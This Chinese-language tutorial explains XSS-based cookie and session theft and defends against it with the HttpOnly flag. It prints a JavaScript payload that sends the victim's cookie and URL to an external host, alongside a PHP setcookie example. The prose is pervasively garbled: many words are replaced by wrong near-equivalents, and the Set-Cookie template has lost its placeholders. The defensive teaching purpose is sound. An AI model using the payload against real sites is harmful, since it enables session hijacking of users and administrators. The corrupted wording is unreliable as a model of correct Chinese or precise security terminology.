跟著www處事的鼓起,越來越多的應用措施轉向了B/S布局,這樣只需要一個欣賞器就可以會見各類百般的web處事,可是這樣也越來越導致了越來越多的web安詳問題。www處事依賴于Http協議實現,Http是無狀態的協議,所覺得了在各個會話之間通報信息,就不行制止地用到Cookie可能Session等技能來標志會見者的狀態,而無論是Cookie照舊Session,一般都是操作Cookie來實現的(Session其實是在欣賞器的Cookie里帶了一個Token來標志,處事器取得了這個Token而且查抄正當性之后就把處事器上存儲的對應的狀態和欣賞器綁定),這樣就不行制止地安詳聚焦到了Cookie上面,只要得到這個Cookie,就可以取得別人的身份,這對付入侵者是一件很美好的工作,出格當得到的Cookie屬于打點員等高權限身份者時,危害就更大了。在各類web安詳問題里,個中xss裂痕就因此顯得分外危險。
對付應用措施來說,一旦存在了xss裂痕就意味著別人可以在你的欣賞器中執行任意的js劇本,假如應用措施是開源的可能成果是果真的話,別人就可以操作ajax利用這些成果,可是進程往往很啰嗦,出格是想直接得到別人身份做隨意欣賞的話堅苦就更大。而對付不開源的應用措施,譬如某些大型站點的web靠山(web2.0一個顯著的特征就是大量的交互,用戶往往需要跟靠山的打點員交互,譬如Bug講述,可能信息投遞等等),盡量因為交互的存在大概存在跨站劇本裂痕,可是因為對靠山的不相識,無法結構完美的ajax代碼來操作,縱然可以用js取得靠山的代碼并回傳闡明,可是進程同樣啰嗦并且不隱蔽。這個時候,操作xss裂痕得到Cookie可能Session挾制就很有效了,詳細闡明應用措施的認證,然后利用某些能力,甚至可以縱然對方退出措施也一樣永久性得到對方的身份。
那么如何得到Cookie可能Session挾制呢?在欣賞器中的document工具中,就儲存了Cookie的信息,而操作js可以把這內里的Cookie給取出來,只要獲得這個Cookie就可以擁有別人的身份了。一個很典范的xss進攻語句如下:
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;
一些應用措施思量到這個問題地址,所以大概會采納欣賞器綁定技能,譬如將Cookie和欣賞器的User-agent綁定,一旦發明修改就認為Cookie失效。這種要領已經證明是無效的,因為當入侵者偷得Cookie的同時他必定已經同時得到了User-agent。尚有別的一種較量嚴格的是將Cookie和Remote-addr相綁定(其實就是和IP綁定,可是一些措施取得IP的要領有問題一樣導致饒過),可是這樣就帶來很差的用戶體驗,改換IP是常常的事,譬如上班與家里就是2個IP,所以這種要領往往也不給以回收。所以基于Cookie的進攻方法此刻就很是風行,在一些web 2.0站點很容易就取到應用措施的打點員身份。
如何保障我們的敏感Cookie安詳呢?通過上面的闡明,一般的Cookie都是從document工具中得到的,我們只要讓敏感Cookies欣賞器document中不行見就行了。很幸運,此刻欣賞器在配置Cookie的時候一般都接管一個叫做HttpOnly的參數,跟domain等其他參數一樣,一旦這個HttpOnly被配置,你在欣賞器的document工具中就看不到Cookie了,而欣賞器在欣賞的時候不受任何影響,因為Cookie會被放在欣賞器頭中發送出去(包羅ajax的時候),應用措施也一般不會在js里操縱這些敏感Cookie的,對付一些敏感的Cookie我們回收HttpOnly,對付一些需要在應用措施頂用js操縱的cookie我們就不予配置,這樣就保障了Cookie信息的安詳也擔保了應用。關于HttpOnly說明可以參照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。
給欣賞器配置Cookie的頭如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
以php為例,,在php 5.2版本時就已經在Setcookie函數插手了對HttpOnly的支持,譬如:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
就可以配置abc這個cookie,將其配置為HttpOnly,document將不行見這個Cookie。因為setcookie函數本質就是個header,所以一樣可以利用header來配置HttpOnly。然后再利用document.cookie就可以看到已經取不到這個Cookie了。我們用這種要領來掩護利譬喻Sessionid,如一些用于認證的auth-cookie,就不消擔憂身份被人得到了,這對付一些靠山措施和webmail晉升安詳性的意義是重大的。再次利用上面的進攻手法時可以看到,已經不能獲取被我們配置為HttpOnly的敏感Cookie了。